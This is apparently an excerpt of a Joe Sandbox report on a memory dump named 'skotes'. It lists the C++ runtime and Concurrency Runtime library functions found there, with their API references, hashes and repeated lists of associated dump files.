Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 6e56be2a456c7018cbe7f40907a81e2bf2e40f5ba39f059e46d9aade711e620b
Instruction ID: f22b93f1d1fceeea10baa99652c165d063cd7e3487da330be8dad09378880d69
Opcode Fuzzy Hash: 6e56be2a456c7018cbe7f40907a81e2bf2e40f5ba39f059e46d9aade711e620b
Instruction Fuzzy Hash: F281E032910249ABDF16CF94CA51BFE7BB6AF85304F048098FD492B292C7329D15DB62

Function 00972970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00972982

Part of subcall function 009724E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00972504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 009729A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 009729B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 009729FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00972AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00972AD8

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: a5d195ee7ee52171869d2cd49c19e4f3b3fe1e33e5e837a7205a68c1693c2b92
Instruction ID: a526b1fbbddee89231dca433725da4603d38030260a418f27e93b94e83ff81cb
Opcode Fuzzy Hash: a5d195ee7ee52171869d2cd49c19e4f3b3fe1e33e5e837a7205a68c1693c2b92
Instruction Fuzzy Hash: 7971C032910249AFDF15CF64C981BBEBBB9AF96304F048099FC496B292C732DD15DB61

Function 00962832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00962876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009628DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00962913

Part of subcall function 009607ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0096080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00962993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009629DB

Part of subcall function 009607C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 009607DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 009629EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00962A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00962A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00962A7E

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: d55b0fdddd78d0a8c2f83b2ca7034cdbeb56eeefbf96db18285db034308de472
Instruction ID: 7f4bae04f6be37f7651dd163eb0ee97012861c6c8313f7d703a6eb3c572d72ab
Opcode Fuzzy Hash: d55b0fdddd78d0a8c2f83b2ca7034cdbeb56eeefbf96db18285db034308de472
Instruction Fuzzy Hash: C1810031B14A169FCB18CFA8D9906BEBBF5BF89311B25402DD445E7381D734AD80DBA0

Function 009669DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00966A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00966A51
List.LIBCONCRT ref: 00966A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00966A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00966AB9
List.LIBCONCRT ref: 00966AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00966B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00966B20
List.LIBCONCRT ref: 00966B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00966B68

Part of subcall function 00965EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00965EF7
Part of subcall function 00965EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00965F09

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 27405feab443d505288a23d0dac02228d7feea00d7228c0d191230cc7f51c8b4
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: D1514875A00209ABDF08DFA4C595BEDB3A8BF48344F1541A9E915EB682DB30AE45CBD0

Function 009752A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 009753A0
type_info::operator==.LIBVCRUNTIME ref: 009753C7
___TypeMatch.LIBVCRUNTIME ref: 009754D3
IsInExceptionSpec.LIBVCRUNTIME ref: 009755AE
CallUnexpected.LIBVCRUNTIME ref: 00975650

Strings

csm, xrefs: 009752E0
csm, xrefs: 009753FE
csm, xrefs: 0097534D

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 941582f68ba3a8844f340905d6c01fbf8e4f7051668c0143d27718a2b595fe91
Instruction ID: 946235735035a8d9ad0ee4ee06dd9d8eaf6a5f618cfe03634495c2c3609f6ed2
Opcode Fuzzy Hash: 941582f68ba3a8844f340905d6c01fbf8e4f7051668c0143d27718a2b595fe91
Instruction Fuzzy Hash: F4C1BB72900609EFCF55DFA4C880AAEBBB9FF54310F46C15AF8096B212D7B1DA51CB91

Function 00967364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009673B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009673F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0096740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00967419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00967440

Strings

count, xrefs: 0096737E
ppVirtualProcessorRoots, xrefs: 00967438

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
